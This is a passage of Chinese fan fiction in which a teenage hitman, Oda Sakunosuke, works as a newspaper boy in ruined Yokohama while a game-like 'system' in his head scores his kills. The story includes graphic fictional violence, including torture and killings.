《作之助的颠簸杀手之路》


 3. 第 3 章

    向右迈出一步，快速拿起手枪，只是瞬间就对准了少年的头颅。


    枪声响起，铁锈味的血液从皮肤上流下。


    钴蓝色的眼睛失去神采，轰然倒地。


    那把手枪里没有子弹。


    在血腥味的影像中，红发的少年发现了这一点。


    不过织田作之助没有停住想要动作的双腿，他向着那把手枪走去。


    这家伙居然敢不听话。


    站在楼梯口的少年不怀好意地笑着看这个不听话的人，还有温度的枪口对准了他，子弹瞬间射出。


    第一颗子弹就在织田作之助身后一厘米的位置擦过。


    墙皮的灰屑被子弹冲击的到处都是。


    织田作之助捡起地上的手枪，买报纸的雇主曾经使用过这把手枪对他开枪。


    在这个危险的环境里，他再次见到了未来的景象。


    一颗瞄准他心脏的子弹击穿了他。


    手扶着沙发瞬间跃起翻身卧倒在沙发上。


    织田作之助躺着上面听着沙发背后的枪声，眼中是从自己上方飞驰的子弹。


    手上快速卸下了手枪的弹匣，里面没有一颗子弹。


    这些频繁的预知景象是他的异能力，这一刻红发的少年明白了他所看见的是他的异能。


    天衣无缝。


    预知五到六秒的未来。


    这柄无子弹的弹匣和那些子弹都证实了这些预知影像可以信任。


    确认了自己的异能力可以信任，织田作之助在这个空间展开了异能。


    站在楼梯上的少年知道自己这样打，子弹耗光了也不能杀死这个人。


    他走下楼梯，举起枪支谨慎的靠近，在接近沙发的瞬间将枪口对准沙发内侧。


    眼前突然伸出一只手，紧接着手上就是一阵剧痛。


    枪！


    这个刚刚还很嚣张的少年这时满眼惊恐，他的武器到了这个人手里。


    他的力气怎么这么大！


    枪管很烫。


    摆出架势的织田作之助想着，枪口对着少年的眉心，预知影像有血腥味和痛感，但是他的预知里没有被烫的痛感。


    目光疑惑的想着这一点，织田作之助看着面前的这个人，他看起来和他一样大。


    跪在沙发上举着枪的织田作之助问他：“青组是什么？”


    少年惊恐的表情一僵，忍不住看了一眼这个人，他没毛病吧！这个时候不杀他还问这种无关问题！


    “我就是！”


    砰的一下，他跪了下去抓住这一线的生机，西瓜头的头发飞起，双手高高举起，紧闭双眼求饶，“我叫山田青组，今天第一天干帮派，求你放过我。”


    青组是他的名字。


    织田作之助收起枪口，眼里有种好奇心没有被满足的失望。


    他从沙发上下来踩着玻璃碎片向楼梯走去。


    身后的山田目光一狠，转身去抓织田作之助的脖子，死死掐住。


    窒息感让织田作之助恍然，原来雇主是这么被杀死的。


    而他的异能只在死亡的时候给他痛感。


    将身后的人甩在地上压住，他抓着这个人的手臂限制住他的行动。


    落了满地的玻璃渣在山田身下牢牢嵌入他的后背。


    这个混蛋的力气怎么这么大、


    尝试挣脱不开的山田破口大骂，各种脏话输出着。


    骂完发现他还没杀他，山田精神紧绷的喊着，“要杀我就给个痛快！”


    织田作之助正在小心避开地上的玻璃去扯旁边尸体的裤子。


    身上的衣服是母亲买的，他不想让它们划破他的衣服。


    听见山田的喊声，织田作之助歪了歪头：“我没有想要杀你，杀人犯法。”


    从死去的雇主身上抽出裤子上的皮带，织田作之助绑住喊叫的山田。


    脚上用了山田自己的皮带。


    绑好后织田作之助起身，“你在这里等警察吧，我要继续工作了。”


    临走的时候织田作之助捡起了地面上的枪支还拿走了一些子弹。


    他对这把枪有点兴趣，红发的少年决定把这个证物带走。


    被破坏的房子里只剩下山田的呜咽声。


    这个混蛋的家伙居然拿染血的抹布绑他的嘴！


    还警察，没报警来个屁警察！


    山田青组回想起刚刚那个一点情绪也没有的少年泪流满面，那把枪是他缴获的！是他的！


    骑着单车继续送报纸的织田作之助背着他用沙发布包裹住的枪。


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    002能听见外面的声音，这时候好奇地问：“警察是什么？杀人是什么？”


    织田作之助被问得茫然，紧接着明白了。也许这两样东西在002的世界里是不同的名词。


    “我是人类，杀人就是同类相杀。警察会逮捕杀害同类的人类。”


    淡淡解释了一句，织田作之助的红发被风带起。


    “作之助刚刚碰见了罪犯！”002惊呼：“你还是未成年！你快点离开这里，我帮你掩护！”


    “你怎么帮我？”问着话，织田作之助蹬着单车的动作确实快了点。


    “实验品52号，花心能喷火。虽然是用来做表演用的观赏植物，但是仓库里有十五棵，能挡一段时间！”


    002说着：“我这就释放它们！”


    “等等。”织田作之助看着那些两人高的，002口中的表演用的观赏植物阻止它。


    “已经离开很远了，交给警察吧，杀他是他们应该干的事情。我要去工作，你不要释放它们打扰我工作。”


    “好吧。”002确认一下，“你现在安全了吗？”


    织田作之助看了看远处蔚蓝的天空，耳边的风也很舒服。


    “是。我很安全。”


    肯定了这一点的织田作之助听着脑中002松了口气的声音向前骑行着。


    晚上送完报纸回家，织田作之助先去阳台收起洗干净的工作服。


    认真将唯一一套工作服熨好，织田作之助将它挂在房间。


    明天他就可以穿工作服去送报纸了。


    今天差点把母亲给他买的衣服弄坏。


    织田作之助换上睡衣后先去洗了衣服。


    再洗个澡后他擦着半湿的头发坐在床上目光看到那把他拿回来的枪。


    放下毛巾转手拿起被裹住的枪，织田作之助解开那些米色沙发布露出里面黑色的枪支。


    一共两把。


    他把那把手枪也拿了回来。


    平静的钴蓝色眼睛闪过一丝喜欢。


    父亲母亲没说过不能往家里面带枪，他拿回来应该可以。


    回想起母亲被他带回来的骨头架子吓到跳进父亲怀里的样子，织田作之助认可了自己的想法。


    他可以往家里藏枪。

 4. 第 4 章

    走到一个柜子前，织田作之助拉开最下面的抽屉将两把枪和那些包起来的子弹放了进去。


    放好了枪，织田作之助看见了什么手一顿，是父亲送他的锤子。


    拿起那把坚硬沉重的锤子，他想起那个生日，父亲送上这个礼物时母亲无语地看着他。


    生日礼物送把大铁锤可能很奇怪，但是织田作之助很喜欢。他很轻松的拿起它挥舞让他的母亲惊得赶紧查看他的手。


    确认没有任何问题，他的骨头没有伤到，母亲发现这点松了口气转身揪着父亲的耳朵让他长点心。


    最后这把锤子还是留下来了，父亲的理由是装修工人的孩子怎么没有一把锤子。


    织田作之助还记得五岁时候的事情，他们的面容很清晰地在他的记忆里。


    放下锤子，他合上抽屉，眼中有些光芒。父亲母亲在的时候很开心。


    再上班的时候他的雇主没有出像昨天那样的意外，他很顺利的把报纸送到了订购报纸的住户。


    回到报社记下自己跑了多少单，织田作之助收取了今天的工资。


    正要走的时候身后给发工资的大叔叫住了他了。


    “青山先生。”织田作之助退回来看着他，“有什么事吗？”


    “织田。你能多跑两个地方吗？报社有两个送报人今天没来。”青山指着身后房间里的那些报纸发愁，这横滨一天天的死人，他的报社找个敢送报纸的都不顺利。


    看着那些报纸，织田作之助想了想自己现在被这家报社雇佣着，他应该完成工作。他点头，“可以。”


    青山松了口气，当初一时心软招手雇这个小子还真是找对了。


    将报纸帮忙绑在他的单车上，青山拍了拍他的肩膀，“注意安全，一有不对就跑。”


    “我知道了。”织田作之助点头，蓝眸平静的看着他。


    这些报纸的买家不是他常去的那片区域，他有点不太认路。


    看了看天色，织田作之助将单车放到一边，解开身后的报纸堆拿出一份放在这家门口。


    干净的报纸放在了满是灰尘的地面。


    织田作之助面前是一片爆炸后的废墟，尘土毫不客气的占了满街，碎木块散落一地。


    钴蓝色的眼睛看着这堆碎木块，准确地是看着它们上面的白骨。


    凹陷的人骨胸膛还挂着血块。


    “感谢您订购我们的报纸，今日的报纸已送达。”


    将报纸放在地面，织田作之助转身走下这个还算完好的台阶。


    横滨原来的富人区现在变成了这副残破的模样。他回头看了眼那个人骨，想起昨天死去的另一个雇主。


    他们都死在了自己家里吗。眨了眨眼，织田作之助回过神接着送下一个，离开这片满是血腥味的场地。


    单车响动的声音清脆，织田作之助将这里最后的生机带走了。


    接下来几天他的工作量增加了很多，擂钵街周边的报纸都由他负责配送。


    织田作之助现在闭着眼也能知道自己该往哪个方向骑，他已经把周边的路线都摸清了。


    送了最后一份报纸，织田作之助将它交到雇主手上，这次是活人。


    “欢迎继续订购我们的报纸。”织田作之助例行说了些结束语，回应他的面前猛地关上的门。


    还有一声怒吼，“告诉你们报社！这户人家不定报纸了！”


    织田作之助拿出来一个本子找到这户人家，“您交付的定金是订购两个月的报纸，目前到期日还剩下十天。”


    “如果您退订，根据报社的订购合同，少于三分之一的剩余日期我们不给予退款需求。您确定吗？”


    再次敲了门，织田作之助问着。


    一阵寂静。


    屋内的人显然不想搭理他，织田作之助只能收起本子，“看来您不确定，明天我会继续来送报纸。祝您生活愉快。”


    把本子放在书包里，织田作之助动了动脚就要离开，他送的报纸越来越多，横滨死的人也越来越多，青山单给他配了个书包让他记下哪家客户退订或者再也完不成订单。


    屋内的人听见这家伙明天还来崩溃地甩开门，“行了，我不定了！剩下的定金归你，快点走！”


    织田


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    作之助歪了歪头看着这个涕泪横流的雇主，视力非常好的他看见了雇主身后的那把枪。


    又是一个抢劫的。织田作之助淡定地收回目光，拿出本子划掉名字，“好的。我已经记下。”


    他转过身接着看见一阵枪响后蔓延的血液，以及进入他后背的子弹。


    干净的门前卷起一阵风，紧接着滚落一个人。


    他快要习惯这些子弹进入身体的痛感了。织田作之助摸了摸手指，另一只手下是被牢牢压制的劫匪。


    蓝眸看了眼手上的血迹，织田作之助发现那个雇主受伤了。这是他刚刚推开他的时候沾上的。


    “八嘎，你是什么东西，滚！”被压制住的人叫喊着。


    织田作之助看他，这就是绑匪吗？看着那个黑色头套，他一把薅下了这个头套。


    头套下是一个西瓜头少年。


    还是个熟人。织田作之助恍然，这不是他还没接手这片区域前遇见的杀手吗。


    “山田青组？”忽视脑海里002因为听见他说这个名字有些吵的声音，他疑惑，“你怎么在这里？”


    “是你这个混蛋！”山田青组通过瞟了一眼看见这个红发少年，尤其是他那双蓝眸。


    想起自己缴获的枪被他带走，这次行动也遇见他，山田青组破防了，“你这个混蛋还敢来遇见我！我今天就要杀了你！”


    被推下台阶的雇主这时候爬起来了，他一瘸一拐地走到门前，神情十分复杂，情势反转的懵圈中夹杂着劫后余生的恨意。


    织田作之助注意到他的接近，也看到了那双充满恨意的眼睛。


    他回头看了眼满是狼藉的屋内，血色零零散散地沾了满地，地上有个小女孩。她死了，他压着的山田青组又一次杀了同类。


    再看这个雇主，织田作之助看懂了这个人眼中的恨意是什么。


    是报复。


    手指挑起一旁被他打落的枪，织田作之助轻松拿起来后扔给了雇主。


    “你想杀他，这个交给你。”


    雇主慌乱地抱住这个枪，神情恍惚到发愣，“你和这个绑匪认识？”

 5.系统正式绑定

    向左侧肘击，织田作之助在闷哼声中快速转身，接着一手抓过面前的手，用力按紧手腕让他松手。


    看见刀锋脱手的一瞬间，织田作之助扬手将这个黑发的小孩从地面拽起甩进后面铺了一地的图钉中。


    手指挑起将要落在地上的刀，织田作之助躲过砍在腿上的刀，伸手横过手中的刀快速一挥割断了他的手腕。


    连同他的手腕一起掉落的还有那把想要割断他脚筋的砍刀。


    织田作之助的腿踢在第三人的胸膛上让人横飞出去。


    踢开和他的距离，织田作之助捡起砍刀放在了一开始手持钢筋的少年脖颈上。


    只是瞬间形势转变，袭击而来的杀人者被围堵的猎物啃下血肉。


    月光在钴蓝色的眼睛中映出月牙，织田作之助平静地看着他。


    似乎没有杀气。


    “放，放过我。”黑发的少年听着自己同伴在图钉里连滚带爬地惨叫着，双眼看着另一个同伴抱着断掉的手哀嚎着，心理防线已经被击溃。


    这家伙为什么这么强，他完全没有反应过来他的动作。


    织田作之助摇头，双眸平静着，“我无法拒绝你来杀我，你也无法拒绝我施以报复。”


    在瞪大的双眼中，织田作之助斩下了他的头颅。


    他天生的力气和天赋让他用砍刀斩断了对方的脖颈。


    [系统：职业完美值系统为您服务，感谢您终于决定绑定了！]


    眼见同伴的头在地上翻滚，抱着手哀嚎的那个少年踉跄着起身，他得逃跑，不能死在这家伙手里！


    他是个怪物！


    织田作之助抬手扔出了手中的匕首，转身去看在图钉里惨叫的人。


    不需要看他有没有击中，他的异能力天衣无缝能预知五秒到六秒的未来，它已经告诉了他结果。


    而且他现在想问的是。


    [我什么时候说和你绑定了？]


    这个系统从他母亲葬礼上出现到现在已经两年了，他从没说过答应他的绑定。


    [系统：亲亲，您的职业是杀手。但是您如此随意杀人可视为严重职业偏移行为。系统已经越过审核程序绑定宿主。请宿主接受这个结果。]


    [系统：亲亲，你应该先给自己下达任务，再根据职业程序执行任务，否则仍会达成职业偏移。您是一个有级别的杀手，请不要做出有损职业水平的事情。]


    杀人还有职业偏移？


    已经无法改变绑定结果，织田作之助在还活着的那两个人的哀嚎中歪了歪头问他：


    [我是杀手，杀人为什么会职业偏移]


    [他们来杀我，我施以报复]


    织田作之助不解。


    [系统：累加效果。您已经在执行任务的工作期间外57次职业偏移。亲亲，请注意系统已经有努力照顾宿主情绪阻止绑定了]


    [规定中偏移次数超十次就会强制绑定。]


    织田作之助回想起死在他手里的人点了点头。


    [我知道了。怎么设任务，我要杀面前这个人。]


    织田作之助不准备因为系统口中的职业偏移停止报复。


    [系统：已为您规划任务。当前任务为：杀死山田小林，完美值（0/100）]


    [达成100完美值有惊喜的哦，作之助]


    得到任务的同时，身后传来那具被他用匕首杀死的人尸体到地的声音，织田作之助走到图钉面前，黑色的鞋子和面前的图钉间仅一线之隔。


    不太好。没去想怎么杀完美，织田作之助想现在把他拖出来杀，他还是过不去，尤其是明天他还需要走这条路。


    得清理干净。


    一手抓住他的衣领，织田作之助没有抓他的头发，对于这些人来说头发不必衣服干净多少。


    他才刚在玉子女士那里洗了手。


    抓着他的衣领后织田作之助站了起来。


    躺在地上的杀人者被迫向前被拖拽了一段，后背和胳膊被压进去了图钉。


    [完美值（10/100）您的任务目标感受到疼痛]


    他惨叫着张开了嘴，下一秒被砍断了舌头。


    [完美值（50/100）您的任务被发现率下降]


    断了声音后，织田作之助又蹲了下去。


    失去舌头的杀人者现在只有一个想法，逃。


    他开始向着四面八方挣扎，想要挣开抓着他的那只手。


    身体好像扎进了更多的图钉，张口却只能惨叫出细音。


    手指扒着地面，陷进污泥抓了一手的图钉，突然的巨痛让他乱挥着手。


    他想缓解疼痛，但那些图钉已经扎进了他的手掌。在月色下能依稀看出他手掌间的冷光。


    [完美值（80/100）您的任务恐惧值上升]


    蹲在干净地方的织田作之助松了些力引导他在这个方向多挣扎一会儿。


    砍刀撑在一边，红发钴蓝色眼睛的少年等了一会儿看着乱动的人开始紧了一些手上的力气，见到他滚向另一边后又松了力。


    被控制的少年不知道自己的情形，越是恐慌他就越是向着松力的方向挣扎。


    [完美值（90/100）恐惧值上升]


    逃不了，为什么逃不


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    了。


    他们不该打他的主意。


    这是个恶魔。


    他逃不了的。


    惊恐的血迹涌入心脏，眼球充血。


    [完美值（100/100）惊惧而死。恭喜作之助，您达成吓死任务目标成就！]


    在系统语音中，织田作之助平静的双眼眨了一下，死了。


    不太好用。


    他只能费些力气了。


    站起来后织田作之助走到他清理干净的地方踹了尸体一脚。


    尸体在地面上翻滚，图钉裹在尚有余温的皮肉里。


    用尸体清理干净这条路，织田作之助看着干净了的地面蓝眸中有了一丝满意。


    红发的少年知道这些人是为了什么找到他的。


    他的房子，他爸爸妈妈留给他的房子。


    自从那场爆炸发生后，横滨就乱了起来。


    从他十二岁开始形势愈演愈烈，到如今那片爆炸区域已经成了政府控制不了的地方。


    现在连靠近爆炸区的地带都被觊觎了。


    他的家就在被觊觎。


    这些从擂钵街出来的新人经常会看中他的家。


    织田作之助将尸体堆在一起，明天一早会有警察来处理的。


    已经把横滨警察当收尸工的织田作之助将这件事抛到脑后回了家。


    [系统：亲亲，您不关注您的惊喜吗？]


    [不。]


    织田作之助简短的回复，他只是想要解决这个人。钴蓝色的眼中平静，绑定系统也没关系，只是多了一道设置任务的程序。不麻烦。


    [系统：尽职尽责的系统亲还是要告诉宿主，您已获得buff。魅力值上升百分之五十]


    [时间是十分钟哦]


    织田作之助不以为意，魅力上升有什么用。


    下一秒，向前走着的织田作之助耳朵动了动，在预知景象中看见了什么。


    横滨这个地方在爆炸后环境不好，死人，残骸，尘土，垃圾。


    这些东西会豢养出魔鬼，也会藏起一些肮脏的动物。


    比如老鼠。


    爱干净的织田作之助睁大了眼睛，平静的钴蓝色眼睛闪过惊悚。


    [为什么是老鼠！]


    语气惊诧的织田少年用尽力气开始狂奔。


    月色下，织田作之助的红色发丝都显出一丝慌乱。


    在他身后，是满街的老鼠。


    [系统：您是杀手呀，魅力值当然吸引的是阴暗的东西]


    [现在您的周围没有人类活体，buff效果会全部增加到另一种活体上]

 6.不工作的作之助

    第二天醒来，织田作之助先做的第一件事世界将昨天晚上洗过的衣服再洗一遍。


    他真的不想回想被一街的老鼠追是什么感受，但是他的记忆力让他在早上醒来的那一瞬间就想到了昨晚的那一幕。


    连老鼠眼睛都好像在眼前。


    织田作之助洗漱的时候问系统：


    [能不要buff吗？]


    [系统：亲亲，不可以呢，这是系统唯一奖励方式。作之助要换奖励方式，本系统亲就要付出更多系统能量。系统亲也是要活命哒，作之助是杀手也不能杀系统哦]


    [你需要能量？]


    织田作之助扑了满脸的水，内心问着。


    [系统：是的呢。宿主的任务完美能给我提供能量。要感谢作之助，昨晚的能量是这两年系统亲第一次吃正餐]


    [正餐？]


    织田作之助的脸上挂着水珠，他抹了一把脸，湿润的唇动了动。


    “这两年你在我身体里也有获得能量。”


    [系统：是的，亲亲。您的职业变化过于丰富，系统亲有品尝到不同口味的能量呢]


    手搭在洗手台上，织田作之助看着镜子里的自己。


    “你从前拿到的那些能量应该不少，交换个条件怎么样？”


    织田作之助伸手拿过毛巾一边擦着手一边问着。


    [系统：亲亲，您想要交换什么条件？]


    “把你的口癖换了。”织田作之助只有这一个要求。


    [系统：不可以呢，亲亲。您怎么能对系统这么残忍。这么亲切的称呼是系统设定呢！就像您是人类要穿衣服，口癖也是系统的衣服。]


    [作之助，您要扒系统亲的衣服吗？]


    织田作之助的眼中茫然，他什么时候要扒系统的衣服了？


    [不，我没有]


    [系统：感谢您，亲亲]


    否认了的织田作之助抿唇。


    [系统：亲亲，您要交换什么条件呢？系统可以考虑其他条件]


    [不用了]


    织田作之助没有想要从系统那里获得的东西。


    除了解除这个让他觉得过于亲密的口癖，他没兴趣从身体里的这个系统那里获得东西。


    下午织田作之助做车准备前往横滨最大的图书馆。


    在出门前，织田作之助习惯清点房子的各处物品，确认了物品的位置后他发现自己吉村太郎交易来U盘不见了。


    织田作之助皱了眉问身体里的系统。


    [你干的？]


    [系统：亲亲，职业完美值系统诚挚为您服务。这只是为了让您的职业活动更方便些]


    [已用您提供的能量兑换数据电脑。亲亲，系统没有占您的便宜哦，希望以后合作愉快。]


    话音刚落，织田作之助面前就出现了蓝色面板，吉村太郎联系信息和他的杀手账号一同出现在眼前。


    眨了眨眼，织田作之助道了声，“谢谢。”


    他可以用这个接取任务。


    [系统：不用客气呢，亲亲。职业完美值系统会全力帮您成为最厉害，最完美，最有逼格的杀手的。]


    织田作之助穿上外套出去，内心一顿，杀手还能完美？


    [杀人还有这种要求？]


    [系统：当然呢，任何职业都有最高标准的要求。杀手也不是一个人在做嘛。亲亲。]


    红发钴蓝色眼睛的少年想，要成为一个杀手他还有很多要学。


    [系统：作之助今天要执行任务吗？]


    [不。我要去图书馆学习。]


    [系统：……]


    [系统：作之助亲，你是个杀手，不是学生。请谨慎职业偏移。]


    织田作之助锁上门，看着干净的门把心里满意，他把父亲母亲的家保护得很好。


    锁好门织田作之助离开身后整洁温馨的房子才回系统：


    [我要去学怎么处理尸体和清理血迹]


    [我想这不属于职业偏移]


    织田作之助想要成为一个足够合格的杀手。红发钴蓝色的少年知道，他正站在滚烫的火焰，他的死亡将来也会成为这其中的一束。


    在此之前，他让自己站得更稳一些，别掉进去。


    [系统：作之助，您真是个上进的宿主。是我误会您了，系统向您致歉]


    [系统：需要我为您规划路线吗？昨天的任务能量也有宿主一份，您可以用来买一定时间的路程规划]


    它口中的能量不止是给系统使用。织田作之


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    助明白这一点，但并不想借助它口中的那些能量做事。


    已经在这个混乱的横滨生活两年的织田作之助更愿意使用自己的力量。


    所以他拒绝。


    [不用，那些能量你自己留着吧]


    [系统：亲亲。真的吗，亲亲！天啊，您真是一位慷慨的宿主！]


    [您一定会成为最完美的杀手的，系统将诚挚为您服务！亲亲！]


    织田作之助没有回复了，他自动屏蔽了那些系统口癖，也无视系统的赞扬。


    他没有想做一个完美的杀手。


    背着书包去图书馆学习的织田作之助在坐车前遇见了依田玉子的店。他的家在擂钵街周围，横滨没有正常的车会往那里走，他需要走一段路去坐车。


    路上经过了玉子女士的店。


    “织田！今天也要去学习吗？”依田玉子招了招手。


    “嗯。玉子女士。”织田作之助背着书包，加上他青涩的面容，看起来和横滨的学生一般无二。


    “织田少年，今早玉子做了烧麦，你尝尝。”依田庆一说着伸手把手里的纸袋递了过去。


    自然地接过来，织田作之助向他们点头，“我会吃的。谢谢玉子女士和庆一先生。”


    “明天我会再来帮忙的。”


    “好。织田你该去学习就去吧。祝你今天一切顺利，路上小心。我们先忙了。”笑了笑，玉子女士说完招呼着丈夫去看客人。


    织田作之助在路上把玉子女士他们送的烧麦吃完了。


    一个月后。


    [系统：宿主，亲亲，作之助？您还记得您的职业吗？]


    正坐在家门前的靠椅上晒太阳的织田作之助一顿，睁开的钴蓝色眼睛里一片茫然。


    [你叫我有什么事？]


    显然带着假寐的睡意。


    [系统：……]


    ……


    [系统：作之助，您是一位杀手。您已经一个月没有提供完美值了。系统已经多次敦促您了]


    [系统：作之助亲，您知道职业懈怠会发生什么的吧！]


    [知道。一个月没工作会叠buff。]


    织田作之助说着，向后仰头看了看天空，湛蓝的色彩比他的瞳色更轻也更柔和。

 7.渴血buff

    系统：作之助真是明知故犯。您的职业懈怠时限还有10分钟哦]


    [系统：会产生什么buff系统亲也不知道。系统还是要提醒作之助尽快工作呢]


    [嗯]


    简短回复后织田作之助靠着椅背又开始假寐。过了一会儿，阳光在他的红发上打上透亮的光影，白皙的皮肤清透。


    织田作之助听见了系统语音。


    [系统：作之助亲，您的职业懈怠惩罚是：渴血buff]


    [系统：时限倒计时（0/24h）]


    [系统：作之助亲，明知故犯的结果你要自己承受住哦]


    织田作之助在系统语音播报的时候就感受到了喉咙的痒意。


    不舒服地按了几下，织田作之助产生了渴意。


    想到系统的渴血buff，织田作之助站起身准备回家在家里挨过这二十四小时。


    还未起身，织田作之助就闻见了血味。


    平时可以无视的血液腥味，这个时候变成了无法忽视的甜味。


    坐在椅子上的红发少年下意识的咽了一口唾液。


    [系统：系统亲明明是和作之助一体的。看着作之助难受，相处两年的系统也难受。]


    [系统：如果作之助一年内职业评级完美可以不限次数自主取消职业懈怠的负面buff]


    [系统：系统亲提醒您目前的职业评级完美值（30/100）]


    [系统：您的职业倦怠扣了五十分哦。之前系统亲还以为作之助会认真对待您的职业，系统亲感觉到了欺骗]


    面对系统的控诉，织田作之助忍着渴血buff带来的渴感，双眸平静，关注点偏移。


    [这个世界没有完美的杀手]


    [系统：任何职业都有最完美的状态。作之助亲，只要有人做，就能出现最完美的那一个]


    [系统：您应该有点职业追求]


    织田作之助回头看着引起他渴血buff的人。


    [你对杀手说职业追求很怪]


    织田作之助说出这句话的时候，那些人已经到了他面前。


    手里有着砍刀，有几个高壮大汉带着枪支。


    在他渴血的时候，这些人靠了过来。


    他想，这又是一群要拿走他最后东西的人。


    在摸上衣袋里的枪时，织田作之助听见了系统的尖叫。


    [系统：作之助亲！职业任务规划！]


    [你设置吧]


    [系统：……呃]


    不是很想发任务了，没想到这几个人声望值这么低，不过看在作之助内心杀意的份上。


    [系统：杀死山口……完美值（0/100）]


    织田作之助听见他播报完就掏出了枪支，黑洞的枪口对准了面前的人。


    [系统：完美值（-10/100）您的杀人痕迹暴露率上升]


    织田作之助听着没有停下的意思，只是双眸看向这几个人时带了点猩红。


    领头的山口立刻举起了手，只觉这个少年的眼神让他好像成了什么被狩猎的动物。


    “别开枪！我们是藤原组的人，老大让我们找你！”


    “我们老大是藤原东！”


    织田作之助对这个名字有点熟悉，他举着枪看着对面的几个思考这个人突然来找他做什么。


    山口再次说话了，“老大说，你欠他一颗子弹。”


    山口不知道这话有什么作用，也不知道为什么老大不能直接把人绑回去。


    他觉得面前这个少年没什么好防备的，即使他有枪。


    坐在椅子上的织田作之助因为他这句话想起来一些记忆。


    那是他十二岁在黑手党里遇见的家伙。


    和那个雨夜，他没有射出的子弹。


    他放下了枪。


    坐在车上，织田作之助皱眉忍耐着满车厢的血气，手指摩挲着枪身，若有若无的视线扫过前座的两人。


    被看着的两个人只觉得汗流浃背，他们老大要找的人怎么这么可怕！


    织田作之助转头看向车外，钴蓝色的眼睛映着外面越来越像废墟的场景。


    应该带点水的。


    织田作之助摸着枪身想着这一点，喉咙干涩。


    他们在带他进入擂钵街里面。


    等车停下来，织田作之助看见了不该出现在这里的东西。


    崭新完好的大楼。


    织田作之助想到了藤原东曾经说过他一定要有个最好的房子。


    他现在实现了。织田作之助想着这点被领进了进去。


    路过那些穿着统一服装的黑衣人，织田作


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    之助明白这个人已经在擂钵街里面有了势力。


    [系统：这家伙找你干什么？我记得你杀了他父亲]


    相处两年的系统自然知道这两年织田作之助的经历。


    [我不知道。]


    [系统：不知道……作之助为什么还要过来。一个完美的杀手从不干没准备的事！你现在身上就两把枪！]


    [你能不带你的口癖]


    织田作之助从血甜味中猛地发现这点。


    [系统：……]为什么他的关注点总是不对劲。


    面对装死的系统，织田作之助内心强调。


    [我真的希望你改掉这个口癖]


    系统拒绝。


    走进去，织田作之助就听见了一个声音。


    “织田！”藤原东是个黑发金眸的青年，长相遗传了他早死的母亲，很好看。


    走向织田作之助，藤原东推着轮椅将他拉到座椅上让他坐下。


    他还真的一点没有变化，藤原东看着他的红发和眼睛，里面的神彩也是一如从前的平静。


    收敛起眼底的不满意，藤原东笑了笑。


    “我们有一年多没见了。你过得怎么样？听说你还守着你的房子。你看我的房子怎么样？”


    “自从你报了仇之后你就不来见我了。我只能邀请你了。”坐在一旁的藤原东温柔笑着问他，一点没有黑手党老大的样子。


    但织田作之助知道他是现在在擂钵街占了一定区域的黑手党老大。


    他身上的血腥味也提醒他。


    “你的房子很危险。”织田作之助如实说着，“你不该在擂钵街这么显眼。”


    说完，他偏了偏头远离他，织田作之助觉得他的牙齿很痒。


    藤原东笑容一僵，他看着曾经被他引进过黑手党的人，“织田，刚刚重逢不要说这么扫兴的话。”


    “你找我做什么？”织田作之助将凳子挪远了些。


    红发少年的手一直摸着口袋里的枪，指腹被上面的痕迹擦过。


    倒是没有产生血液渴望的厌恶，织田作之助脑子里在不停冒出实现的方法。


    隐约吸了一口气，织田作之助原本看向藤原东的视线被敛下，他问系统：


    [这个渴血buff会真的想要喝血？]


    [系统：……]

 8.敏感buff

    它也不知道。从一堆负面buff里随机出来的渴血buff，全名：今天也是想要喝*********血液的一天。


    系统也不知道这些看不见的符号是什么，谁知道每个职业都很负责的织田作之助当了杀手会不工作一个月。


    它以前的宿主得到它这个系统也没有像织田作之助这样不研究它当摆设的。


    再次装死的系统在织田作之助的再次追问下才说了一句话。


    [系统：系统亲觉得问题不在系统身上]


    问题不在它身上。


    这些血甜味刚刚出现的时候，他是渴血和痒但是织田作之助清楚那只是身体的幻觉。


    现在真的想喝血一定是后来被什么影响了。


    织田作之助将目光定在了藤原东身上。


    藤原东笑了笑，“我找你就不能为了叙旧吗？”


    “你不会为了叙旧联系我。”织田作之助摇头。


    藤原东这次沉默下来。


    安静的会议室内，桌上的红绒布鲜红的可怕。


    藤原东低垂下头，声音很温柔，说出的话却很突兀惊悚，“作之助，你能杀了我吗？”


    [系统：作之助亲，要规划任务吗？]


    织田作之助摸枪的手顿住，钴蓝色的眼睛看向他，平静的目光中，他说：


    “我不会杀你。那个雨天不会，现在也不会。”


    温柔的笑声响起，藤原东笑着说：“就知道你会这么说。”


    “织田作之助真是有趣。一年多前我只是利用你，你却记到现在，一直不杀我。”


    织田作之助隐约感觉到他误会了，“我没有理由杀你。”


    他解释了一句，只是一直忍着渴血buff让他的声调低哑。


    [系统：作之助亲，保持住这个语气，你现在像任务中悠闲调情的杀手。]


    [系统：非常有杀手魅力]


    [我没有调情]


    见过不少大场面的织田作之助知道调情是什么。他否认这点。


    他在正常说话。


    [系统：……]你要不要看看你对面的人什么反应。


    藤原东愣住了。


    接着就笑了笑，说了句意味不明的话，“织田，你长大了。”


    一年多不见，现在的个子足够让人忽略了他刚十四岁。


    何况在这个擂钵街，没人在乎年龄。


    织田作之助从系统的交流中回神，听见这一句点点头，他确实长高了不少。


    藤原东看着他点头，说起另一件事，“既然你不愿意杀我，那就听听另一件事吧。”


    他笑着说道：“有个叫港口黑手党的势力最近势头很猛，势力已经扩散到了擂钵街外面。居酒屋，珠宝店，餐馆，书店都被他们要求缴纳保护费和更换话事人。报社也是。”


    报社这个词让织田作之助警觉了起来，他看向藤原东有了不好的预感。


    “青山报社就在里面。他们想要他们交出报社，但你曾经的老板没有答应。他们绑架了他的儿子。”


    藤原东说着，内心平静，语气也是平铺直叙。


    “这是我知道的消息。”


    推开椅子，织田作之助站起身向外走着，面容紧绷。


    身后的藤原东摩挲着手指，你看他又一次只给了你一个后背。


    一句道别的话也没有。


    “织田。”藤原东喊了一声。


    织田作之助回头，身姿挺拔的站在门前，已经握上了门把。


    藤原东笑了笑，“我安排车送你。”


    织田作之助看着藤原东道了声谢，“谢谢。”


    在他踏出这栋楼时，系统喊开了。


    [系统：作之助亲！你的任务呢！你在干什么！离开任务目标一定范围你要叠负面buff的！]


    织田作之助没有理系统的尖叫，走出一楼的门，他就看见一个人拉开了一个车门。


    他直接坐了进去。


    [系统：作之助亲！系统亲是看在你的杀意上才设置任务。这种小人物根本锻炼不来你的职业技术]


    织田作之助看了司机一眼，“去青山报社。”


    “是。”司机点头，神色看起来十分平静，但是他的内心在疑惑老大为什么让他来送人。


    [系统：……]被无视了。


    [系统：作之助亲，你心情不好？]


    织田作之助转头，平静的钴蓝色眼睛里没有多少情绪。


    窗外景象的残破程度和两年前已经有了改善，但是它也在提醒当初


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    那场爆炸的惨痛。


    [嗯]


